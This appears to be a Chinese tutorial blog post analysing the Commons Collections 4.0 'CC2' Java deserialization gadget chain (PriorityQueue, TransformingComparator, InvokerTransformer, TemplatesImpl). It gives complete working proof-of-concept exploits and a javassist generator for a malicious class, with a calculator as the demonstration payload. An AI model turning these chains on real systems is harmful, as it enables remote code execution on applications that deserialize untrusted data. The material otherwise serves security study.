# CC2
链子对应版本:Common Collection 4.0
# 利用 TemplatesImpl 动态加载字节码
利用 TemplatesImpl 动态加载字节码 – Mak 的小破站 (mak4r1.com)
# defineClass
JAVA 加载 class 时会依次尝试执行 ClassLoader 里的三个方法:
loadClass -> findClass -> defineClass
- loadClass 从已经加载的缓存、父加载器寻找该类字节码
- findClass 从指定 uri 寻找 class 文件,即远程或本地的.class 文件或 jar 包
- defineClass 加载前两者找到的字节码,处理成 JAVA 类
如果能在程序运行时执行 defineClass 加载自定义的字节码,就能做到动态加载字节码,创建类了。
例如,编写一下类:
1 2 3 4 5
| public class evil { public evil() throws Exception{ Runtime.getRuntime().exec("calc"); } }
|
编译出这个类的 class 文件,然后使用 ClassLoader.defineClass 加载该类的字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| public static void main(String[] args) throws Exception { File file = new File("./out/production/testDefineClass/evil.class"); FileInputStream filein = new FileInputStream(file); byte[] bytess = new byte[(int)file.length()]; filein.read(bytess); String base64 = new String(Base64.getEncoder().encode(bytess)); System.out.println(base64); String evilbase64 = base64; byte[] evilbytes = Base64.getDecoder().decode(evilbase64); Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defclass.setAccessible(true); Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length); evilclass.newInstance(); }
|
可以看到成功创建该类,new 该类对象执行构造方法,弹出计算器。
# TemplatesImpl
在 ClassLoader 类中,defineClass 的修饰是 protected,作用域不开放,在攻击的时候一般不能直接触发
而 TemplatesImpl 类中有一条方法利用链可以通过 public 的方法触发到参数可控 defineClass,加载任意类。
先找 defineClass 的执行处,在方法 defineClass 中
在方法 defineTransletClasses 中,执行了类内的 defineClass
继续向上跟进,找到 getTransletInstance 方法
继续向上跟,找到 newTransformer 方法
这里方法是 public,可以直接访问执行。
因此我们的利用链是:
1 2 3 4
| public synchronized Transformer newTransformer() -> private Translet getTransletInstance() -> private void defineTransletClasses() -> Class defineClass(final byte[] b)
|
利用的条件:
属性_name 不为 null,属性_class 为 null(_class 本来就为 null):
属性_bytecode 为二维 byte 数组,存入恶意类的字节码:
然后_tfactory 要设置成 TransformerFactoryImpl 对象,并且恶意类要继承类 AbstractTranslet,这个不知道
因此
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class evil extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public evil() throws Exception{ Runtime.getRuntime().exec("calc"); } }
|
主程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.File; import java.io.FileInputStream; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class Main { public static <T> void setValue(TemplatesImpl obj,String fname,T newf) throws Exception { Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,newf); } public static void main(String[] args) throws Exception { File file = new File("./out/production/testDefineClass/evil.class"); FileInputStream filein = new FileInputStream(file); byte[] bytess = new byte[(int)file.length()]; filein.read(bytess); String base64 = new String(Base64.getEncoder().encode(bytess)); System.out.println(base64); String evilbase64 = base64; byte[] evilbytes = Base64.getDecoder().decode(evilbase64);
byte[][] evilbytes1 = new byte[][]{evilbytes}; TemplatesImpl tempobj = new TemplatesImpl(); setValue(tempobj,"_name","Fc0"); setValue(tempobj,"_bytecodes",evilbytes1); setValue(tempobj,"_tfactory",new TransformerFactoryImpl()); tempobj.newTransformer(); } }
|
成功弹计算器
# 利用连分析
链子有两种实现方式,第二种是基于 ysoserial 的实现方式做的,用到了 javassist 依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist 生成任意类的字节码的简单演示(比较简单,网上复制的):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName);
cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
|
# 链子一
CC2 链利用流程:
-
构造一个 TestTemplatesImpl 恶意类转成字节码,然后通过反射将恶意类的字节码注入到 TemplatesImpl 对象的_bytecodes 属性(构造利用核心代码)
-
创建一个 InvokerTransformer 并传递一个 newTransformer 方法,然后将 InvokerTransformer 方法名传递给 TransformingComparator(这一步和 CC1 链非常相似)
-
通过反射构造 PriorityQueue 队列的 comparator 和 queue 两个字段,将 PriorityQueue 队列的 comparator 字段设置为 TransformingComparator,然后将 queue 字段设置为 TemplatesImpl 对象,触发利用链
链子的终点和 CC1 链一样,仍然是 InvokeTransformer 的 transform 方法实现任意类任意方法执行
还是查找 transform 方法的执行点,在 TransformComparator 中有个 compare 方法:
根据 CC1 链,我们需要让 transform 的主体也就是属性 transformer 是 CC1 链中的那个 ChainedTransformer 对象
看到 TransformComparator 的构造方法:
可以直接用 new 构造赋值。
因此直接使用
1 2 3 4 5
| Class runtimeClass = Runtime.class; Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})}; ChainedTransformer chtfm = new ChainedTransformer(transes);
TransformingComparator tc = new TransformingComparator(chtfm);
|
就获得我们想要的 TransformingComparator 对象
代码分析
-
Transformer[] transes = new Transformer[]{}
这里你定义了一个 Transformer
数组,每个 Transformer
代表一个操作,通过这些操作你可以在运行时进行反射调用。
-
new ConstantTransformer(runtimeClass)
这一步创建了一个 ConstantTransformer
,将 Runtime.class
作为常量传递给后续的 Transformer
。 Runtime.class
是 Java 的 Runtime
类,用于执行底层系统命令。
-
new InvokerTransformer("getDeclaredMethod", ...)
这里使用了 InvokerTransformer
,通过反射调用 Runtime.class
的 getDeclaredMethod
方法,获取 Runtime
的 getRuntime()
方法。
-
new InvokerTransformer("invoke", ...)
这个 InvokerTransformer
用于调用前面获取到的 getRuntime()
方法,来获取当前的 Runtime
实例。
-
new InvokerTransformer("exec", ...)
最后通过 exec
方法,调用 Runtime
实例的 exec(String command)
方法,传入命令 "calc"
(即在 Windows 系统中打开计算器)。
-
ChainedTransformer chtfm = new ChainedTransformer(transes)
这一步将所有 Transformer
链接起来,形成一个链式调用,通过 ChainedTransformer
将多个操作组合成一个整体执行流程。
-
TransformingComparator tc = new TransformingComparator(chtfm)
TransformingComparator
是用于比较的包装类。这里的关键点是, TransformingComparator
将会使用你定义的 ChainedTransformer
来转换输入对象,从而在比较时触发相应的链式调用。
继续往下找,compare 方法在 JAVA 的优先级队列类 PriorityQueue 中有实现:
而 PriorityQueue 的 readObject 方法正好会用到这个 compare。找到 readObject 方法:
跟进最后一行的 heapify 方法:
跟进 siftDown 方法
跟进 siftDownUsingComparator 方法:
这里就跟到了 compare 方法
而对于属性 queue,看到 writeObject 方法:
会遍历 queue 进行 writeObject,对应的 readObject 依次读入 queue 的各个对象,并检查 queue 是否符合 writeObject 时的数量。
这样整个链子就完结了。
至于参数,由于我们直接使用 CC1 链中以 ConstantTransformer 开头的 ChainedTransformer 链式调用 transform 的方法,就不用关心给到 transform 的参数是什么了(ConstantTransformer 固定返回我们想要的对象,给第二个 transform 作为参数)
只需要让 comparator 属性为我们构造的的 tc 就行了,同样这也直接在构造方法里就可以赋值
构造 PriorityQueue 对象之后,我们这里使用 add 方法对 queue 进行赋值,确保前面这些方法在能够正常对 queue 遍历即可
1 2 3 4
| PriorityQueue pq = new PriorityQueue(tc); pq.add(1); pq.add(2);
|
但是这样会出现问题。
跟进 add 方法:
跟进 offer:
跟进 siftUp:
这里也用到了 siftUpUsingComparator 方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于 compare 方法中,在命令执行后会抛出一个异常
这会导致我们构造序列化数据的过程直接中断。
这是因为这一句
我们在构造 TransformingComparator 对象的时候,用的是这个构造方法
于是就会跟进调用这个重载的构造方法
因此 decorated 属性被设置为 ComparatorUtils.NATURAL_COMPARATOR
跟进这个 ComparatorUtils 看看
那么跟进看看 ComparableComparator.comparableComparator () 静态方法
再跟进到当前类的 INSTANCE
到这里指向了最终的对象,也就是说执行了 ComparableComparator 的 compare 方法,给的两个参数是 transform 方法返回的结果
继续跟进到 ComparableComparator 的 compare 方法
参数类型要求的是泛型 E,而 E 在类中的声明是:
这要求参数必须是实现了 Comparable 接口的类型。而我们 transform 执行的是 exec 方法,显然返回的对象类型 java.lang.Process 没有实现这个接口,因此就报错了
解决的办法有很多,一种是在构造 PriorityQueue 用数字做参数,这样走的就是这个构造器
comparator 为 null,这样执行 siftUp 和 siftDown 的时候就会走 else 分支,执行 siftUpComparable
这个方法没有 compare,处理正常数据就不会报错。
在 add 数据之后,通过反射把 PriorityQueue 对象的 comparator 设置成我们的 tc,就拿到了我们最终想要序列化的 PriorityQueue 对象了
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| public class Main { public static void serialize(Object o) throws Exception{ ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt")); objout.writeObject(o); } public static void unserialize() throws Exception{ ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt")); objinp.readObject(); } public static void main(String[] args) throws Exception{ Class runtimeClass = Runtime.class; Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})}; ChainedTransformer chtfm = new ChainedTransformer(transes); TransformingComparator tc = new TransformingComparator(chtfm); tc.compare(runtimeClass,runtimeClass); PriorityQueue pq = new PriorityQueue(1); pq.add(1); pq.add(2); Field cp = PriorityQueue.class.getDeclaredField("comparator"); cp.setAccessible(true); cp.set(pq,tc); serialize(pq); unserialize(); }}
|
# 链子二
其实是一个链子,只是实现方法不一样,在 ysoserial 中 CC2 链子使用的是 templatesImpl 动态加载字节码的函数,最终实现 exec
也就是说我们最终想实现的代码是:
1 2 3 4 5 6 7
| TemplatesImpl tempobj = new TemplatesImpl(); setValue(tempobj,"_name","123"); setValue(tempobj,"_bytecodes",generateByteCode()); setValue(tempobj,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null); ivt.transform(tempobj)
|
(TemplatesImpl 的 newTransformer 最终是能跟到 defineClass 的)
其中 generateByteCode 方法,使用 javassist 返回首元素是恶意类的字节码的二维 byte 数组:
1 2 3 4 5 6 7 8 9 10 11
| public static byte[][] generateByteCode() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()}; return evilbyte; }
|
代码解析:
- ClassPool 与 CtClass:
ClassPool cp = ClassPool.getDefault();
创建了一个默认的类池,用于生成新的类。
CtClass cc = cp.makeClass("evil");
创建了一个名为 “evil” 的类。
- 插入静态代码块:
cc.makeClassInitializer().insertBefore(cmd);
通过插入静态代码块,在类加载时执行 cmd
,该 cmd
是调用计算器的命令。
- 设置父类:
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
设置 evil
类的父类为 AbstractTranslet
(该类属于 javax.xml.transform
包的一部分),这是因为某些 TemplatesImpl
类会要求其子类继承自 AbstractTranslet
。
- 生成字节码:
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
将生成的类字节码保存到二维字节数组 evilbyte
中,并返回。
除此之外,实现方式还略有不同,一是因为 templatesImpl 和 Runtime 不一样,它是一个可序列化的类,二是因为 CC2 链传给 transform 的参数是可控的(和 CC1 不一样),因此这里没有用到 ChainedTransformer 和 ConstantTransformer 而是直接将 templatesImpl 对象作为参数传给了 InvokeTransformer 的 transform
看看参数是怎么传递的
直接看最后的 siftDownUsingComparator,compare 拿到的参数 c 和 queue [right] 就是直接从 queue 中取得的对象。
而 compare 方法中,拿到的两个参数 obj1 和 obj2 都是 transform 方法的参数
因此只要让我们的 PriorityQueue 对象的 queue 数组是两个我们的 tempobj 就可以了
这里换一种方式解决序列化时候报错的问题,用反射而非 add 设置我们的 queue 属性。由于不是 add,我们还需要设置好数组大小 size 属性,不然 size 为 0,走到这里就会终止:
1 2 3 4 5 6 7
| Field qf_queue = PriorityQueue.class.getDeclaredField("queue"); qf_queue.setAccessible(true); qf_queue.set(pq,new Object[]{tempobj,tempobj}); Field qf_size = PriorityQueue.class.getDeclaredField("size"); qf_size.setAccessible(true); qf_size.set(pq,2);
|
完整 POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| package org.example; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;
public class Main { public static void serialize(Object o) throws Exception{ ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt")); objout.writeObject(o); } public static void unserialize() throws Exception{ ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt")); objinp.readObject(); } public static byte[][] generateByteCode() throws Exception{ ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); byte[][] evilbyte = new byte[][]{cc.toBytecode()}; return evilbyte; } public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception { Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj,newf); } public static void main(String[] args) throws Exception{
TemplatesImpl tempobj = new TemplatesImpl(); setValue(tempobj,"_name","123"); setValue(tempobj,"_bytecodes",generateByteCode()); setValue(tempobj,"_tfactory",new TransformerFactoryImpl()); InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);
TransformingComparator tc = new TransformingComparator(ivt); PriorityQueue pq = new PriorityQueue(tc); Field qf_queue = PriorityQueue.class.getDeclaredField("queue"); qf_queue.setAccessible(true); qf_queue.set(pq,new Object[]{tempobj,tempobj}); Field qf_size = PriorityQueue.class.getDeclaredField("size"); qf_size.setAccessible(true); qf_size.set(pq,2); serialize(pq); unserialize(); } }
|
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13
| PriorityQueue.readObject -> PriorityQueue.heapify -> PriorityQueue.siftDown -> PriorityQueue.siftDownUsingComparator -> TransformingComparator.compare -> InvokerTransformer.transform -> TemplatesImpl.newTransformer -> TemplatesImpl.getTransletInstance -> TemplatesImpl.defineTransletClasses -> ClassLoader.defineClass
|